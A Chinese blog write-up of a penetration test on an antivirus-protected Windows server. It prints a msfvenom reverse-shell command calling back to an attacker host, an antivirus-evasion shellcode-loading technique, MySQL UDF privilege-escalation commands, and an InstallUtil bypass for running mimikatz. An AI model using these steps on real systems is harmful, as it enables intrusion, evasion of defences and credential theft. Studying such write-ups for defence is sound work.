專注APT攻擊與防御
https://micropoor.blogspot.com/
一次普通的項目,做完后,卻陳思很久,遂打算一氣合成把整個流程記錄下來,此篇再一次的叮囑我:分享便是我最好的老師。
Micropoor
拿shell過程略過。(由于文章在項目實施結束形成,故部分無圖或補圖)
目標機背景:
windows 2008 r2 x64位 360主動+360衛(wèi)士+360殺毒+waf,目標機僅支持aspx。運行OAWeb服務(.net+mssql),并且是內網中其他服務器的數(shù)據(jù)庫服務器(mysql數(shù)據(jù)庫,不支持php,無.net for mysql 驅動)
端口開放如下:
需要解決的第一個問題:payload
由于目標機,安裝某套裝,payload一定是必須要解決的問題。當tasklist的時候,看到如下圖幾個進程的時候,第一反應就是需要做payload分離免殺。分離免殺主要分兩大類,一類為第三方分離免殺,一類為自帶安裝分離免殺。文章中,采取了第三方分離免殺。
本地補圖(由于項目在實施后形成該文章,故本地靶機補圖)
目前的反病毒安全軟件,常見有三種,一種基于特征,一種基于行為,一種基于云查殺。云查殺的特點基本也可以概括為特征查殺。無論是哪種,都是特別針對PE頭文件的查殺。尤其是當payload文件越大的時候,特征越容易查殺。既然知道了目前的主流查殺方式,那么反制查殺,此篇采取特征與行為分離免殺。避免PE頭文件,并且分離行為,與特征的綜合免殺。適用于菜刀下等場景,也是我在基于windows下為了更穩(wěn)定的一種常用手法。載入內存。
0x00:以msf為例:監(jiān)聽端口
0x001:這里的payload不采取生成pe文件,而采取shellcode方式,來借助第三方直接加載到內存中。避免行為:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=8080 -ex86/shikata_ga_nai -i 5 -f raw > test.c
0x002:既然是shellcode方式的payload,那么需要借助第三方來啟動,加載到內存。執(zhí)行shellcode,自己寫也不是很難,這里我借用一個github一個開源:
https://github.com/clinicallyinane/shellcode_launcher/
作者的話:建議大家自己寫shellcode執(zhí)行盒,相關代碼網上非常成熟。
生成的payload大小如下:476字節(jié)。
世界殺毒網:
上線成功。
而關于自帶安裝分離免殺,請參考我在公司Wiki上寫的第六十九課時 payload分離免殺思路第二季
payload反彈到vps的msf上,我的權限僅僅如下。
需要解決的第二個問題:提權
參考主機背景圖,184個補丁,以及某套裝。遂放棄了exp提權。
原因1:需要更多的時間消耗在對反病毒軟件對抗。
原因2:目標機補丁過多。需要消耗更多的時間
原因3:非常艱難的環(huán)境下,拿到了權限,不想因為某些exp導致藍屏從而丟失權限。
開始翻閱目標機上的文件,以及搜集目標機的端口,服務,啟動等一系列信息。發(fā)現(xiàn)目標機安裝mysql,并與內網其中一臺建立大量連接。mysql版本為5.1.49-community-log
下載目標機*..MYI,*.MYD,*.frm,加載于本地mysql。得到目標機root密碼
而目標機沒有相關腳本環(huán)境連接mysql,到這里,可以有2個方向針對該問題作出解決
一:轉發(fā)目標機端口到本地,從而操作mysql。
二:在非交互式下,完成mysql udf的提權。
為了減少目標主機的流量探測,以及維護來之不易的session,故選擇了第二種方案。非交互式下,mysql提權。
命令行下,調用mysql是需要在啟動一個mysql窗口,從而繼續(xù)執(zhí)行,而session下沒有這樣條件。但mysql的 -e參數(shù) 作為直接執(zhí)行sql語句,從而不另啟動窗口。而-e需要注意的事項,use database。也就是所有參數(shù)需要mysql.xxxx
如沒有指定database,將會出現(xiàn)如下錯誤,而使用UNION,將不會有回顯,一定出現(xiàn)問題,將會很難定位,故選擇以mysql.x的方式指定。
大致流程如下:
mysql -uroot -pXXXXXX -e "create table mysql.a (cmd LONGBLOB);"
mysql -uroot -pXXXXXX -e "insert into mysql.a (cmd) values
(hex(load_file('D:XXXXXXXXXXmysql5libpluginu.dll')));"
mysql -uroot -pXXXXXX -e "SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE
'D:/XXXXXXXXXX/mysql5/lib/plugin/uu.dll';"
mysql -uroot -pXXXXXX -e "CREATE FUNCTION shell RETURNS STRING SONAME 'uu.dll'"
mysql -uroot -pXXXXXX -e "select shell('cmd','whoami');"
需要解決的第三個問題:登錄服務器
在有套裝的環(huán)境下,默認攔截cmd下加帳號,而目前又無法抓取系統(tǒng)登錄明文。mimikatz被查殺。cmd下調用powershell被攔截。遂選擇激活guest帳號,并提升到administrators組,來臨時登錄目標機。
socks代理登錄目標機:
需要解決的第四個問題:抓取目標機明文密碼
登錄服務器后,目前依然不知道目標機的密碼。這里有兩種方向來解決該問題。
一:關閉我能關閉的套裝,由于管理員沒有注銷登錄。能關閉的有限。
二:分離免殺做mimikatz密碼抓取
作者選擇了第二種方案:
這里需要用到csc.exe,與InstallUtil.exe
關于兩個文件默認安裝位置:(注意x32,x64區(qū)別)
C:WindowsMicrosoft.NETFramework
C:WindowsMicrosoft.NETFramework64
C:WindowsMicrosoft.NETFramework
C:WindowsMicrosoft.NETFramework64
分別執(zhí)行:
C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe
/r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library
/out:Micropoor.exe /keyfile:C:UsersJohnnDesktopinstallutil.snk /unsafe
C:UsersJohnnDesktopmimi.cs
C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile=
/LogToConsole=false /U C:UsersJohnnDesktopMicropoor.exe
派生出的第五個問題:橫向滲透
關于第五個問題,本意并不是該篇幅所要講述的,后續(xù)是搜集目標機的mssql,mysql,rdp密碼。搜集所在內網的拓撲,來輔助本次的橫向擴展。便完成了本次的項目。如需具體,請參考我在Wiki上的系列教程78,79,12,13,71課時。
后者的話:
本次的整個流程,并沒有遇到太多的問題,僅僅是把幾個知識點的串聯(lián)起來,形成的一個完整的滲透。也許你了解知識點1,也了解知識點2,還了解知識點3等等。但是一次完整的項目是離不開每一個知識點的串聯(lián)與靈活運用。這應該是每一個信息安全從業(yè)人員值得思考的問題。在每次分享的同時,深深發(fā)現(xiàn),原來分享,才是我最好的老師。
Micropoor